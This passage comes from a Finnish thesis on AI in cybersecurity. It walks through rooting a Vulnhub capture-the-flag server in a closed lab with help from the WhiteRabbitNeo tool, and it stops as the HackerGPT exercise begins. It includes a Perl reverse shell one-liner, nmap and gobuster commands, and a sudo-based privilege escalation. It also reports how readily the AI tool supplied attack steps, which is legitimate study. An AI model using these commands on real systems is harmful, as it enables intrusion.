tietoa sekä sisäisistä että ulkoisista lähteistä, mikä auttaa tunnistamaan organisaatioon 

kohdistuvat uhat ja haavoittuvuudet. (Machal ym., 2024, s. 35) 

Suurten kielimallien kehityksen odotetaan erityisesti hyödyttävän kyberturvallisuuden 

prosesseja. Niiden avulla voidaan nopeasti ja kattavasti saada tietoa ja perusteltuja 

näkemyksiä. Mallien kehittyessä ja niiden luotettavuuden kasvaessa yhä useammat 

tutkimus- ja toimenpideprosessit voidaan automatisoida, mikä vähentää ihmisen tarvetta 

osallistua näihin prosesseihin. Suuret kielimallit voivat tukea tietoturvakoulutusta, auttaa 

monimutkaisten järjestelmien määrittelyssä, tutkia hälytyksiä ja simuloida tietoturvauhkia. 

Aluksi niiden käyttö keskittyy koulutukseen ja käyttäjän avustamiseen, mutta pitkällä 

aikavälillä niiden odotetaan pystyvän yhä monimutkaisempiin tehtäviin. Tulevaisuudessa 

niiden uskotaan voivan käsitellä korkeaa asiantuntemusta vaativia tehtäviä, kuten uusien 

haavoittuvuuksien löytämistä, organisaatioiden turvallisuustason arvioimista ja 

monimutkaisten poikkeamien hallintaan liittyvien toimenpide-ehdotusten antamista. (Machal 

ym., 2024, ss. 35–36) 
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5 Työn tarkoitus ja tavoite 

Työ on tutkimuspainotteinen opinnäytetyö ja sen tarkoitus on tutkia, kuinka tekoäly on tullut 

osaksi kyberympäristöä. Työssä toteutetaan myös kokeiluprojekti, jossa pyritään kuvaamaan 

tekoälytyökalujen avulla tehtävää eettistä hakkerointia. Työn pääasiallisena tarkoituksena on 

tutkia tekoälyn käytettävyyttä kyberturvallisuudessa sekä sen nykytason mahdollisuutta 

väärinkäytöksiin. Työssä ei ole toimeksiantajaa vaan sen innoittajana on toiminut tekijän 

kiinnostus kyberturvallisuutta kohtaan ja tekoälyn viimeaikainen valtava kasvu. 

Työn painopiste on teoriaosuudessa, jossa käydään läpi kattavasti kyberturvallisuutta ja 

tekoälyä sekä niiden yhtälöä. Teoria osuuden tavoitteena on antaa lukijalla kattava tieto siitä 

mitä kyberturvallisuus ja tekoäly on ja mitä ne voivat mahdollistaa yhdessä. Teoria 

osuudessa käsitellään myös tekoälyn ja kyberturvallisuuden uhkanäkymiä, koska 

kokeiluprojektin tarkoitus on myös tutkia kykenevätkö tekoälyvälineet mahdollistamaan ei-

toivottuja kybertapahtumia. 

Työn tavoite on selvittää tekoälyn käyttömahdollisuuksista kyberturvallisuusalalla, mutta 

myös samalla tutkia kuinka tekoälyä voidaan väärinkäyttää. Työtä voidaan käyttää 

organisaatioissa tukena tekoälyvälineiden käyttöä mietittäessä osana prosesseja. Työ on 

ajankohtainen tekoälyn valtavan viimeaikaisen yleistymisen takia sekä kyberturvallisuus 

standardien lisääntyessä. 

Kokeiluprojektissa on tarkoitus vertailla kahden eri tekoälyvälineen käytettävyyttä eettisen 

hakkeroinnin välineenä ja tavoitteena on todentaa, voidaanko hyökkäys toteuttaa käyttäen 

pääosin vain tekoälyvälineitä. Kokeiluprojektin tarkoituksena on tutkia voivatko nämä netissä 

vapaasti käytettävissä olevat tekoälyvälineet olla mahdollistava tekijä kyberhyökkäyksien 

toteuttamisessa.  
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6 Työssä hyödynnetyt työkalut ja sovellukset 

Työn kokeiluprojektissa käytetään useampia eri työkaluja ja sovelluksia. Tekijällä on 

opintojen kautta saatua kokemusta useimmista järjestelmistä sekä kyberturvallisuuden 

opintojen kautta että myös tekoäly opintojen kautta. Työn teoria osuutta kirjoittaessa tekijä on 

tutustunut kyberturvallisuuden tekoälyvälineisiin, josta kokeiluprojektiin valikoitui kaksi 

välinettä: WhiteRabbitNeo ja HackerGPT. Näitä kahta välinettä hyödynnetään toteutettaessa 

eettinen hakkerointi kokeilu. Toteutuksen jälkeen vertaillaan myös välineiden toimivuutta, 

eroavaisuutta sekä turvallisuutta. 

6.1 Oracle VM VirtualBox 

Työ toteutetaan käyttäen käyttöjärjestelmiä ja eettisen hakkeroinnin kohdepalvelinta 

VirtualBox-virtualisointiohjelmistossa. Virtualisointiohjelmistoja on useampia saatavilla, mutta 

käyttäjän aikaisemman kokemuksen kautta työn toteuttamiseen valikoitui Oracle VM 

VirtualBox. Työn ulkopuolelle on jätetty suljetun verkkoympäristön rakentamisen vaiheet. 

Oraclen (n.d.) mukaan VirtualBox on avoimen lähdekoodin, monialustainen 

virtualisointiohjelmisto, jonka avulla voidaan suorittaa useita käyttöjärjestelmiä yhdellä 

laitteella. Heidän mukaansa VirtualBox tukee laajaa valikoimaa käyttöjärjestelmäversioita 

virtuaalikoneissa ja myös yleisimpiä isäntäkäyttöjärjestelmiä kuten Windows, Linux, macOS 

ja Solaris, tämän avulla on mahdollista esimerkiksi suorittaa kehitysympäristöjä 

yksinkertaisesti usealla eri käyttöjärjestelmällä. 

6.2 Kali Linux 

Työn eettinen hakkerointi toteutetaan käyttäen Kali Linux -käyttöjärjestelmää. Kali Linux on 

ilmainen käyttöjärjestelmä, joka on tänä päivänä mahdollista ladata usealle eri päätelaitteelle. 

Työssä Kali Linuxia käytetään VirtualBox-virtualisointiohjelmistossa. Eettiseen hakkerointiin 

ja penetraatiotestaukseen voidaan käyttää monia muitakin järjestelmiä tai sellaisen voi 

rakentaa itse, mutta Kali Linux omaa useita valmiita työkaluja, joita voidaan käyttää työn 

vaiheissa. 

Kali Linux on Debian-pohjainen, avoimen lähdekoodin Linux-jakelu, joka on suunnattu 

penetraatiotestaukseen ja tietoturva auditointiin. Kali Linux tarjoaa yleisiä työkaluja, 

konfiguraatioita ja automaatioita, joiden avulla käyttäjä voi keskittyä suoritettavaan tehtävään, 
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eikä ympäröivään toimintaan. Kali Linux sisältää satoja työkaluja erilaisiin tietoturvatehtäviin, 

kuten penetraatiotestaukseen, tietoturvatutkimukseen, tietokoneen forensiikkaan, 

käänteiseen suunnitteluun, haavoittuvuuksien hallintaan ja Red Team-testaukseen. (Kali 

Linux, ei pvm.-a) 

Kali Linux on syntynyt vuosien tiedon ja kokemuksen perusteella. Se on pienen ryhmän 

kehittämä projekti, joka on kulkenut pitkän matkan. Ensimmäiset projektit ovat alkaneet 

vuonna 2004, mutta virallisesti Kali Linuxin katsotaan syntyneen 2013. Kali Linuxia edeltävät 

versiot kulkivat nimellä BackTrack ja sen ensimmäinen versio julkaistiin 2006. Kali Linuxista 

on saatavilla tänä päivänä useita eri versioita, kuten Android-puhelimiin, Windows-

käyttöjärjestelmiin ja virtuaalikoneisiin. (Kali Linux, ei pvm.-a) 

Kali Linuxin hyötynä on, että se sisältää suurimman osan penetraatiotestaukseen 

vaadittavista työkaluista valmiina, mutta Kali Linux ei sovellu välttämättä muuhun 

yleiskäyttöön. Järjestelmä on arkkitehtuuriltaan yleisesti mukautettavissa, mutta joidenkin 

pakettien ja kirjastojen lisääminen voi tuottaa vaikeuksia. Lisäksi huonoina puolina Kali 

Linuxin käyttämisessä on, että se vaatii käyttäjältä vähintään perustason osaamista Linux 

käyttöjärjestelmästä, jotta sitä voidaan käyttää tehokkaasti ja turvallisesti. (Kali Linux, ei 

pvm.-a) 

6.3 Vulnhub 

Työn eettisen hakkeroinnin kohteena käytetään Vulnhub-sivuston kautta ladattua palvelinta. 

Vulnhub-ympäristö on entuudestaan tuttu sivusto tekijälle, mutta työssä tullaan käyttämään 

sellaisia harjoituspalvelimia, joita tekijä ei ole ennen käyttänyt. 

Vulnhubin tarkoitus on tarjota käyttäjille käytännön kokemusta digitaalisessa 

turvallisuudessa, tietokoneohjelmistossa ja verkonhallinnassa. Vulnhubiin lisätyt harjoitukset 

ovat ihmisten tekemiä harjoituksia, joissa on niin sanottuja Capture The Flag -tehtäviä. Näitä 

harjoituksien palvelimia saa laillisesti rikkoa, hakkeroida ja käyttää hyväksi, jotta käyttäjä voi 

oppia käytännön toimia turvallisessa ympäristössä. (Vulnhub, ei pvm.) 

Vulnhubista ladataan työtä varten palvelin VirtualBox-ympäristöön ja se asennetaan, jonka 

jälkeen se voidaan käynnistää ja sitä voidaan käyttää eettisen hakkeroinnin kohteena. 
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6.4 WhiteRabbitNeo 

Toinen työssä käytettävä tekoälyväline on WhiteRabbitNeo. Tässä luvussa kerrotaan 

WhiteRabbitNeon historiasta ja sen mallista. Tekoälyvälineestä on saatavilla selainversio 

sekä ladattavissa oleva malli. Selainversiota käytettäessä vaaditaan sivulle kirjautuminen. 

Ramlochanin (2024) mukaan WhiteRabbitNeon perustana toimii LLaMA 2 -tekoälymalli. 

Hänen mukaansa LLaMA 2 -tekoälymalli on Metan kehittämä suuri kielimalli, joka on 

koulutettu laajoihin tietojoukkoihin, mikä mahdollistaa tekoälymallin ymmärtää ja tuottaa 

ihmismäistä tekstiä. Esikoulutettu LLaMA 2 -malli on sen jälkeen jatkokoulutettu 

kyberturvallisuuden tietoihin, jotta se voidaan kehittää sen asiantuntemusta 

kyberturvallisuudesta. Tämän koulutusprosessin kautta WhiteRabbitNeo on kehitetty erittäin 

taitavaksi ymmärtämään ja tuottamaan sisältöä esimerkiksi kyberuhkista, 

puolustusmekanismeista, eettisestä hakkeroinnista ja verkkojen turvallisuudesta. 

(Ramlochan, 2024) 

WhiteRabbitNeo-tekoälymallin on kehittänyt WhiteRabbitNeo Inc. ja julkaistessaan 

tekoälymallia yksi yrityksen työntekijöistä Migel Tissera julkaisi X:ssä että, ”Okei, jonkun 

täytyi tehdä tämä, ja on parempi tehdä tämä avoimesti”. Maaliskuussa 8.päivä 2024 

WhiteRabbitNeo Inc. julkaisi 7 miljardin parametrin mallista. Tämä avaa mallin käytön paljon 

laajemmalle käyttäjäkunnalla myös alentamalla sen kynnystä käyttäjille, johtuen sen 

kompaktimman pakkaamisen takia. Karkeasti jokaista miljardia parametria kohti tarvitaan 

gigatavu RAM-muistia, joten uusi versio mahdollistaa mallin käytön huomattavasti 

laajemmalle käyttäjäkunnalle. (Riddiough, 2024) 

Eettisesti katsottuna WhiteRabbitNeo luo kaksijakoisen kuvan. Sitä voidaan hyödyntää 

kyberturvallisuudessa todella tehokkaana apuvälineenä, mutta samalla se tarjoaa 

mahdollisuuden vakaville väärinkäytöille. Sen avulla voidaan toteuttaa haittaohjelmia tai 

palvelunestohyökkäyksiä, joilla voi olla vakavia seurauksia esimerkiksi taloudellisesti. 

WhiteRabbitNeo edustaa merkittävää edistystä tekoälyteknologiassa ja 

kyberturvallisuudessa, mutta se jättää kuitenkin vastuullisen ja eettisen käytön tarkastelun 

käyttäjälle. (Riddiough, 2024) 

Työssä tullaan tutustumaan kuinka hyvin WhiteRabbitNeo-tekoälymallia voidaan hyödyntää 

osana eettistä hakkerointia ja paljonko tekoälymalli vaatii käyttäjältä osaamista. Työn 

vaiheissa tullaan myös tutkimaan, pyrkiikö tekoälymalli vastauksillaan vaikuttamaan käyttäjän 

vastuullisiin ja eettisiin näkökulmiin. 
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6.5 HackerGPT 

HackerGPT on tekoälyvälineistä toinen, jolla tutkitaan tekoälyvälineiden käytettävyyttä 

eettisen hakkeroinnin välineenä. Basanin (2024) mukaan HackerGPT on julkaistu 

ensimmäisen kerran vuonna 2023 ja sen taustalla on ChatGPT käyttämä työkalu, joka 

yhdistää tekoälyteknologian kyberturvallisuuteen keskittyneeseen asiantuntemukseen. Tällä 

hetkellä HackerGPT:stä on käytettävissä 2.0 versio, joka julkaistiin helmikuussa 2024. 

HackerGPT toimii laajana hakuvälineenä hakkerointityökaluille ja tekniikoille, joiden 

tarkoituksena on aktiivisesti avustaa käyttäjää monimutkaisien kyberturvallisuusstrategioiden 

hallinnassa. (Basan, 2024) 

HackerGPT on yksi useista tekoälyteknologioista kyberturvallisuusyhteisölle, se on kehitetty 

erityisesti eettisiin hakkerointikäytäntöihin. Tällä tarkoitetaan sitä, että HackerGPT voi 

generoida vain vastauksia, jotka noudattavat eettisiä normeja ja laillisia rajoja, taaten, että 

sitä käytetään vain vastuullisissa ja lainmukaisissa toiminnoissa. HackerGPT pyrkii 

auttamaan käyttäjiä sekä hyökkäävissä että puolustavissa kyberturvallisuusvastuissa, 

tarjoten oivalluksia kyberturvallisuuden aiheista sekä opettaakseen puolustavia strategioita ja 

edistääkseen turvallisia käytäntöjä ja tietoisuutta. (Basan, 2024) 

Prosessin aikana HackerGPT sanoo asettavansa tietoturvallisuuden etusijalle välittämällä 

kyselyjä OpenAi:lle tai OpenRouterille varmistamalla samalla käyttäjän yksityisyyden 

prosessissa. HackerGPT tukee GPT-3 ja GPT-4 malleja, jotka ovat OpenAI:n kehittämiä 

kielimalleja. Sen sanotaan myös estävän hyötykäytön kyberhyökkäyksissä, mutta myös 

tässä tekoälymallissa haasteena on sen eettinen ja vastuullinen käyttäminen. (Basan, 2024) 

Työssä tullaan vertailemaan HackerGPT:n kyvykkyyttä WhiteRabbitNeo verrattaessa. Lisäksi 

tullaan tutkimaan kuinka HackerGPT reagoi eettisen hakkeroinnin toimenpiteisiin sekä kuinka 

eri toimenpiteet on mahdollista suorittaa sen avulla. 
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7 Eettinen hakkerointi tekoälytyökalujen avulla 

Työssä toteutetaan kaksi Vulnhub-harjoitusta, toinen toteutetaan käyttäen WhiteRabbitNeo-

tekoälytyökalua ja toinen käyttäen HackerGPT-tekoälytyökalua. Harjoitukset ovat kaksi 

erilaista, mutta ne ovat samantyyppisiä ja vaikeusasteeltaan samantasoisia. Työn 

tarkoituksena on selvittää kuinka todennäköistä ja mahdollista on käyttää tekoälyvälineitä 

hyökkäyksen apuvälineinä. Työn tuloksena pyritään samaan vastaus kysymyksiin, että voiko 

hyökkäyksen toteuttaa käyttämällä tekoälyvälineitä ja kuinka ne vaikuttavat hyökkäyksen 

toteutukseen ja onnistumisen todennäköisyyteen. Työssä pyritään myös vertailemaan 

kahden käytettävän työkalun eroavaisuuksia toteutuksessa ja suojauksessa väärinkäytölle. 

Työ on pyritty toteuttamaan niin, että tekijällä ei ole vahvaa osaamista eettisestä 

hakkeroinnista vaan, että suurimman osan oivalluksista ja työstä tapahtuu tekoälyvälineen 

kautta. 

Eettisen hakkeroinnin vaiheista ja tuloksista on pidetty päiväkirja tyyppistä aineistoa, jolla on 

pystytty pitämään työn tekninen aineisto saatavilla ja tallessa koko prosessin ajan. Osa tästä 

aineistosta on esitelty työn vaiheita analysoitaessa. Aineistoon on kerätty tietoa tekoälylle 

syötetyistä kysymyksistä ja siltä saaduista vastauksista sekä virtuaalipalvelimella syötetyistä 

komennoista. Näin työssä on varmistettu, että kaikki olennainen tieto on tekijällä käytössä. 

Ennen varsinaista eettisen hakkeroinnin osuutta täytyy tietokoneella asentaa käytettävät 

työkalut. Kaikkien käytettävien työkalujen lataaminen onnistuu internetistä ilmaiseksi. Työtä 

varten on ladattu ja käytteenotettu VirtualBox- ja Kali Linux -järjestelmät sekä ladattu 

Vulnhub-sivustolta harjoituksessa toimiva kohdepalvelin. Kali Linux -ohjelmistoa sekä 

Vulnhub-palvelinta voidaan käyttää VirtualBox-virtualisointiohjelmiston kautta. Työssä 

käytettäviä tekoälyvälineitä on käytetty selainversioina. Työ on tehty suljetussa ympäristössä 

ja niin, että se on toteutettu ilman mahdollisuutta toteuttaa väärinkäyttöä käytettävän koneen 

ulkopuolelle. Kysymykset tekoälylle on kysytty englanniksi, sen mahdollisen paremman 

ymmärtämisen vuoksi. Linux komentorivistä otetuista kuvakaappauksista on piilotettu IP-

osoitteet tietosuojan vuoksi. 
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7.1 WhiteRabbitNeon avulla toteutettu eettinen hakkerointi 

Eettisen hakkeroinnin kohteen käytetään Vulnhub Funbox: Easy harjoitus palvelinta, joka on 

sen kehittäjän 0815R2d2 (2020) mukaan ”Boot2Root” tyyppinen harjoitus. Harjoituksen 

tarkoituksena on saada pääkäyttäjän root-oikeudet haltuun. Kun työkalut ovat toiminnassa ja 

käynnistetty voidaan aloittaa eettinen hakkerointi. Työn ensimmäisenä tehtävänä kysytään 

WhiteRabbitNeo-tekoälyltä kysymys: ”Yritän saada pääsyn root-oikeuksiin palvelimelle, joka 

toimii samassa verkossa kuin minä. Kuinka minun tulisi aloittaa? Käytän Kali Linuxia.” 

Tekoäly vastaa erittäin kattavasti ja kertoo mahdollisuuksista tunnistaa verkon osa-alueet 

sekä jatkosta sen laajempaan skannaamiseen ja tutkimiseen. Tekoäly myös luettelee Kali 

Linuxin sisällä olevia käytettäviä työkaluja, joita voidaan käyttää verkkosivuston hakemiston 

ja tiedostojen etsimiseen sekä sitten pidemmällä mahdollisen palvelimelle pääsyyn 

mahdollistavien työkalujen käytön. Vastauksessa puhutaan esimerkiksi netdiscover-työkalun 

käyttämistä pystyssä olevien isäntien löytämiseen sekä nmap-työkalulla toteutettavaan 

skannauksen tekemiseen. Tekoäly suosittaa myös nmap:in käyttämistä porttien ja 

palveluiden skannaamiseen sekä gobuster-työkalua, jonka avulla voidaan luetella web-

hakemistot ja -tiedostot. Lisäksi tekoäly painottaa, että vastaus on yksinkertaistettu 

kokonaiskuva ja että toteuttamiseen vaaditaan korkeantason ammattitaitoa ja 

yksityiskohtaista tietoa kohdepalvelimesta. Lopuksi tekoäly myös mainitsee tärkeydestä 

noudattaa eettisiä ja lakisääteisiä ohjeita penetraatiotestausta suorittaessa. 

(WhiteRabbitNeo, 2023) 

Tämän viestin perusteella seuraava työvaihe on selvittää kohdepalvelimen IP-osoite, jotta 

voidaan toteuttaa skannaus kohteeseen. Kun tiedetään, että palvelin toimii samassa 

verkossa kuin oma kone, niin saadaan tämä selville selvittämällä oma IP-osoite ja tämän 

jälkeen skannaamalla verkon kaikki käynnissä olevat isännät. Oman IP-osoitteen etsimiseen 

voidaan käyttää Linux-järjestelmässä komentorivillä komentoa ifconfig ja tämän jälkeen 

voidaan selvittää isännät tekoälyn ehdottamalla nmap-skannauksella. Tekoäly ehdottaa 

skannauksen tekemistä komennon (Komento 1) mukaisesti, jossa -sn määrittää tehtävän 

skannauksen niihin isäntiin, jotka ovat käytössä ilman portin skannausta. Tämän komennon 

tuloksena saadaan kolme IP-osoitetta, jonka jälkeen esitetään tekoälylle kysymys: ”Sain 

vastaukseksi kolme IP-osoitetta, kuinka voin selvittää mikä on oikea kohde isäntä?” 

Komento 1 IP-osoitteen selvittäminen ja aktiivisten isäntien skannaus komento kohde 

verkosta 

nmap -sn <ip-osoite> 
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Tekoäly kertoo useamman vaihtoehdon kohde isännän selvittämiseen, joista yksi on 

palveluiden skannaaminen. Käyttäjämme tietää oman laitteen palvelun, joten tämän 

perusteella voimme pois sulkea ainakin osan isännistä pois. Tekoäly ehdottaa komennon 

(Komento 2) suorittamista. Komento -sV tarkoittaa jokaisen käynnissä olevan palvelun 

identifiointia. Kuvassa (Kuva 9) näkyy syötetyn komennon lopputulos. Tuloksesta voimme 

nähdä, että viimeisessä IP-osoitteessa toimii Linux-palvelu ja että osoitteessa on portit 22 ja 

80 avoinna. Tällöin voimme todeta, että kohdepalvelin toimii kuvan kolmannessa IP-

osoitteessa. (WhiteRabbitNeo, 2023) 

Komento 2 Verkossa käynnissä olevien palveluiden skannaus komento 

nmap -sV <ip-osoite> 

 

 

Kuva 9 "nmap -sV <ip-osoite>" skannauksen lopputulos komentorivillä 

 

Tämän jälkeen kerrotaan tekoälylle, että olemme löytäneet kohde IP-osoitteen ja esitetään 

kysymys, kuinka tämän jälkeen voidaan toteuttaa täysi skannaus kohdepalvelimelle. Tekoäly 

suosittaa komentoa (Komento 3), jossa lisämerkinnät ovat lisäehtoja skannauksen 

toteuttamiselle. -A ottaa käyttöön käyttöjärjestelmän tunnistuksen, version tunnistuksen, 

skriptien tarkistuksen ja jäljityksen skannauksessa. -p- skannataan kaikki portit ja -T4 tekee 

skannauksesta nopeamman ja tällä tavoin myös helpommin havaittavamman, koska silloin 

toimenpide on aggressiivisempi. Tekoäly varoittaa tästä myös viestissä, että se voi aiheuttaa 

kohdepalvelimella hälytyksiä tai lukita järjestelmän sekä että skannaus tulisi suorittaa vain 

järjestelmiin, johon se on luvallista tehdä. Syöttämällä kuvan (Kuva 10) mukaisen 

skannauksen lopputuloksen tekoälylle ja pyytämällä tekoälyltä selvennystä lopputuloksesta, 

se kertoo tiivistetysti seuraavaa, ”Perustuen skannauksen tuloksiin kohdepalvelimella on 
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Apache web-palvelin portilla 80, SSH-palvelin portilla 22 ja MySQL-palvelin portilla 33060.” 

Seuraavaksi tekoäly suosittelee web-palvelimen oletus tai heikkojen oikeuksien tarkistamista. 

Työkaluiksi se suosittelee gobuster-työkalua. Lisäksi tekoäly kertoo mahdollisuudesta brute-

force-hyökkäyksen toteuttamiselle SSH- tai MySQL-palveluun hydra-työkalun avulla. 

(WhiteRabbitNeo, 2023) 

Komento 3 Täysi skannauksen suorittava komento kohde IP-osoitteeseen 

nmap -A -p- -T4 <ip-osoite> 

 

Kuva 10 "nmap -A -p- -T4 <ip-osoite>" skannauksen lopputulos komentorivillä 

 

Kysyttäessä kuinka gobuster-työkalua voidaan käyttää kohteeseen, antaa tekoäly suoran 

komennon sen suorittamiseen. Komennolla (Komento 4), jossa -u määrittää kohde url-

osoitteen ja -w määrittää sanalistan, jota käytetään hakemistojen luetteloinnissa. Sanalista 

tulee gobuster-työkalun mukana, mutta niitä voidaan myös luoda itse. Tämän jälkeen tekoäly 

kertoo, että gobuster-työkalun avulla voidaan listata hakemistoja ja tiedostoja web-

palvelimelta. Kuvassa (Kuva 11) näkyvät gobusterin löytämät hakemistot web-palvelimelta. 

Laittamalla tulokset tekoälylle ja kysymällä niiden hyötykäyttämisestä hyökkäyksessä, 

tekoäly suosittaa tutkimaan lisää löydettyjä hakemistoja. Lisäksi tekoäly suosittelee brute-

force-hyökkäyksen suorittamista web-palvelimelle. (WhiteRabbitNeo, 2023) 

Komento 4 Gobuster-työkalun suorittava komento kohteen hakemistojen ja tiedostojen 

etsimiseen 

gobuster dir -u http://<ip-osoite> -w 

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
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Kuva 11 Gobuster-työkalun käytön tulokset komentorivillä 

 

Tutkittaessa lisää gobuster-työkalun avulla löydettyjä hakemistoja ja web-sivua tutkittaessa 

selviää, että kohdepalvelimella toimii verkkokauppa. Ja kuten tekoäly suositti, tutkimalla web-

sivustoa voidaan hyökkäystä viedä eteenpäin. Tämä kyseinen vaihe työssä vaatii tekijältä 

osaamista ja ongelmanratkaisukykyä, josta ei suoraan saatu tekoälyltä apua. Seuraavaksi 

kokeiltiin kirjautumista löydetylle admin-sivustolle ja kuten tekoäly suositte brute-force-

hyökkäystä, niin kokeillaan manuaalisesti joitain yleisimpiä kirjautumistunnuksia. Tunnuksella 

admin ja salasanalla admin tekijä pääsee kirjautumaan sisään admin-sivustolle 

onnistuneesti, joten suurempaa brute-force-hyökkäystä ei tarvitse toteuttaa. Sivustoa 

tutkittaessa voidaan huomata, että admin-sivuston kautta voidaan lisätä uusia tuotteita 

verkkokaupan sivustolle. Jo tämä mahdollistaisi hyökkääjälle väärinkäytön mahdollisuuden, 

mutta työn tavoitteena oli saada root-oikeudet palvelimelle. Sivustolla on myös näkyvissä 

leima CSE Bookstore ja kysyttäessä tekoälyltä mahdollisista haavoittuvuuksista sivustolle, 

tekoäly vastaa, että sivustolle on mahdollista toteuttaa useampi hyökkäys haavoittuvuuksien 

kautta. Mahdollista on toteuttaa esimerkiksi hyökkäys tiedostojen latauksen, sivustojen 

välisen komentosarja (XSS) tai SQL-injektio haavoittuvuuksien kautta. (WhiteRabbitNeo, 

2023) 

Googlettaessa CSE Bookstore löytyy suoraan Exploit Database -sivustolta haavoittuvuus, 

jota voidaan käyttää hyväksi hyökkäyksessä. Siinä hyödynnetään skriptiä haavoittuvalle 

sivustolle, joka mahdollistaa hyökkääjän PHP-tiedoston lataamisen web-palvelimelle, jonka 

jälkeen voidaan käyttää mielivaltaisia komentoja palvelimella. Tekoälyltä kysyttäessä se 

kertoo suoran ohjeistuksen, miten skripti saadaan ajettua palvelimelle. Ensin täytyy skripti 

ladata Exploit Database -sivustolta koneelle Python tiedostomuodossa. Kuvassa (Kuva 12) 
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näkyvä komento on toteutettu tekoälyn ohjeistamalla tavalla. Tällöin tiedoston mukainen 

skripti suoritetaan kohdepalvelimelle, jonka jälkeen voidaan syöttää mielivaltaisia komentoja 

kohdepalvelimelle. (WhiteRabbitNeo, 2023) 

Kuva 12 Komento haavoittuvuus skriptin suorittamiseen kohdepalvelimella 

 

Kuvan (Kuva 12) tuloksen syöttäessä tekoälylle se vahvistaa skripti on suoritettu 

onnistuneesti kohde osoitteeseen ja yhteys on saatu kohdepalvelimeen. Tekoäly suosittaa 

reverse shell -hyökkäystekniikan suorittamista, joka tarkoittaa yhteyden ottamista 

kohdepalvelimelta tekijän hallitsemaan palvelimeen. Tämän avulla voidaan suorittaa 

komentoja ja siirtää tiedostoja kohdepalvelimella. Lisätietoa reverse shell -tekniikan 

suorittamisesta tekoäly antaa kattavasti, se kertoo, että jos kyseessä on Linux-järjestelmä, 

niin täytyy komento suorittaa bash-, sh- tai perl-kielillä. Tekoäly myös mainitsee, että jos 

käyttäjällä ei ole suoraa pääsyä kohdepalvelimelle voidaan käyttäjän koneelle asettaa netcat-

työkalun avulla kuuntelu asetetulle portille. Luodaan netcatin avulla kuuntelu portille 1234 

käyttäjän koneelta ja suoritetaan perl-kielellä reverse shell -komento (Komento 5) tekoälyn 

kirjoittamalla tavalla. (WhiteRabbitNeo, 2023) 

Komento 5 Reverse shell -komento perl-ohjelmointikielellä 

perl -e'useSocket;$i="<ip-

osoite>";$p=<portti>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"

));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open

(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

Netcat kuuntelu havaitsee tapahtumia käyttäjän koneella, josta voidaan todentaa reverse 

shell -hyökkäystekniikan toimivan. Kuvan (Kuva 13) mukaisesti nähdään komennolla id, että 

olemme saaneet pääsyn kohde koneeseen www-data käyttäjänä. Tekoäly suosittaa tämän 

tuloksen nähtyään suorittamaan tiedostojen penkomista kohde koneelta. Mentäessä tiedosto 

polkua taaksepäin kotihakemistoon, voidaan tämän jälkeen todentaa, että olemme 

käyttäjänimen tony-käyttäjällä. Tulostamalla dir-komennolla käyttäjän tony hakemistot, löytyy 

hakemistosta kiinnostava tiedosto nimeltä password.txt. Aukaisemalla kuvassa (Kuva 13) 

näkyvällä cat-komennolla password.txt tiedosto, löytyy tiedostosta eri palveluihin salasanoja. 
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Syöttämällä saatu tulos tekoälylle, se suosittaa kirjautumista SSH-palvelimen kautta saadulla 

salasanalla sekä tony käyttäjänimellä. (WhiteRabbitNeo, 2023) 

Kuva 13 Netcat kuuntelun tulos ja komentojen tekeminen reverse shell hyökkäyksessä 

 

Tekoäly kertoo suoraan tavan kirjautua SSH-palvelimelle käyttäen alla näkyvää komentoa 

(Komento 6). Tämän jälkeen syötetään password.txt tiedostosta löydettyä SSH-salasanaa ja 

tuloksena pääsemme kirjautumaan palvelimelle. Tämän jälkeen voidaan tarkistaa 

komennolla sudo -l, että mitkä ovat käyttäjän oikeudet suorittaa sudo-komentoja eli oikeuden 

antaa komentoja pääkäyttäjän oikeuksilla. 

Komento 6 Komennolla suoritetaan SSH kirjautuminen tonyn käyttäjällä kohdepalvelimelle 

ssh tony@<ip-osoite> 

Vastauksena saadaan useampi kohde, jossa käyttäjä tony voi suorittaa komentoja 

pääkäyttäjän oikeuksilla. Kuvan (Kuva 14) mukaisien tuloksien syöttäminen tekoälylle, johtaa 

seuraavaan vaiheessa käyttöoikeuksien saamisen tavoittelussa. Tekoäly kiinnittää erityisesti 

huomion kuvan (Kuva 14) alimman rivin tulokseen ja ehdottaa sen tarkempaa tutkimista. 

Tämä kuitenkin osoittautuu virheelliseksi väyläksi edetä ja mikään tekoälyn ehdottamista 

komennoista ei auta saamaan root-oikeuksia. Muutamien tarkentavien kysymyksien jälkeen 

tekoälylle, se kertoo mahdollisuudesta hyödyntää SUID/SGID-binäärejä, jonka avulla 

voidaan suorittaa ohjelman tiedoston omistajan oikeuksilla. Tekoäly ohjeistaa etsimään 

binääri haavoittuvuuksia, jonka avulla voidaan hyväksi käyttää tiedostoja, mutta googlen 

avulla löydetään suora listaus haavoittuvista binääreistä. Sen avulla löydetään myös suora 

komento, jolla sitä voidaan hyödyntää. (GTFOBins, ei pvm.; WhiteRabbitNeo, 2023) 
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Kuva 14 Tuloste pääkäyttäjän oikeuksista käyttäjälle tony 

 

Hyväksi käytettävä kohde on time-binääri ja siihen käytetään alla näkyvää komentoa 

(Komento 7). Tämän komennon jälkeen voidaan huomata, että käyttäjän nimeen tulee 

maininta root ja jonka myös tekoäly vahvistaa tuloksen nähtyään, että olemme saaneet 

kohde koneelle root-oikeudet. Tekoäly myös muistuttaa, että tällä tavalla root-oikeuksien 

saaminen on todellinen tietoturva riski sekä että järjestelmä tulisi päivittää haavoittuvuuksien 

korjaamisen takia. (WhiteRabbitNeo, 2023) 

Komento 7 Binäärin time hyödyksi käyttäminen 

sudo /usr/bin/time /bin/sh 

Tehtävän lopputulosta ajatelleen testataan vielä root-oikeuksien saaminen ja tutkitaan 

järjestelmässä olevia tiedostoja. Kuvassa (Kuva 15) näkyvien komentojen avulla löydetään 

hakemistojuuresta hakemisto nimeltään root. Tämän hakemiston avaamalla ja sieltä löytyvän 

root.flag tiedoston avaamisen jälkeen voidaan todeta, että myös harjoituksen lopputulos on 

saavutettu. Käyttäjä on onnistunut saamaan root-oikeudet eettisen hakkeroinnin 

lopputuloksena WhiteRabbitNeo tekoälyn avulla. 
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Kuva 15 Root oikeuksien saaminen ja tehtävän lopputulos 

 

7.2 HackerGPT avulla toteutettu eettinen hakkerointi 

HackerGPT:llä toteutettavan eettisen hakkeroinnin kohteena toimii Vulnhub Funbox: GaoKao 

